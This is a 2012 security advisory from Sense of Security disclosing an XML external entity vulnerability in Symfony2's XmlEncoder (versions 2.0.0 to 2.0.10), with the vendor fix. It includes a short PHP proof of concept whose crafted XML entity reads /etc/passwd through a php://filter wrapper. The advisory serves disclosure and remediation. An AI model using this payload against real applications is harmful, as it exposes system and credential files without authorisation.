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2.3 KiB
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66 lines
No EOL
2.3 KiB
Text
Sense of Security - Security Advisory - SOS-12-002
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Release Date. 05-Mar-2012
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Last Update. -
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Vendor Notification Date. 24-Feb-2012
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Product. Symfony2
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Platform. PHP
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Affected versions. 2.0.x - 2.0.10
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Severity Rating. Medium
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Impact. Exposure of sensitive information
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Attack Vector. Remote without authentication
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Solution Status. Vendor patch / Upgrade to 2.0.11
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CVE reference. CVE - not yet assigned
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Details.
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The XMLEncoder component of Symfony 2.0.x fails to disable external
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entities when parsing XML. In the Symfony2 framework the XML class
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may be used to deserialize objects or as part of a client/server
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API. By using external entities it is possible to include arbitrary
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files from the file system. Any application written in Symfony2
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that parses user supplied XML is affected.
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Proof of Concept.
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$serializer = new Serializer(array(), array(
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'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
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));
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$x = $serializer->decode('<?xml version="1.0"?><!DOCTYPE scan
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[<!ENTITY test SYSTEM
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"php://filter/read=convert.base64-encode/resource=/etc/passwd">]><scan>&test;</scan>',
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'xml');
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var_dump($x);
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// $x will now contain a copy of /etc/passwd base64 encoded.
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Solution.
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Upgrade to Symfony 2.0.11 or apply the vendor provided patch.
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Discovered by.
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Phil Taylor from Sense of Security Labs.
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About us.
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Sense of Security is a leading provider of information security and
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risk management solutions. Our team has expert skills in assessment
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and assurance, strategy and architecture, and deployment through to
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ongoing management. We are Australia's premier application penetration
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testing firm and trusted IT security advisor to many of the country's
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largest organisations.
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Sense of Security Pty Ltd
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Level 8, 66 King St
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Sydney NSW 2000
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AUSTRALIA
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T: +61 (0)2 9290 4444
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F: +61 (0)2 9290 4455
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W: http://www.senseofsecurity.com.au
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E: info@senseofsecurity.com.au
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Twitter: @ITsecurityAU
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The latest version of this advisory can be found at:
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http://www.senseofsecurity.com.au/advisories/SOS-12-002.pdf
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Other Sense of Security advisories can be found at:
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http://www.senseofsecurity.com.au/research/it-security-advisories.php |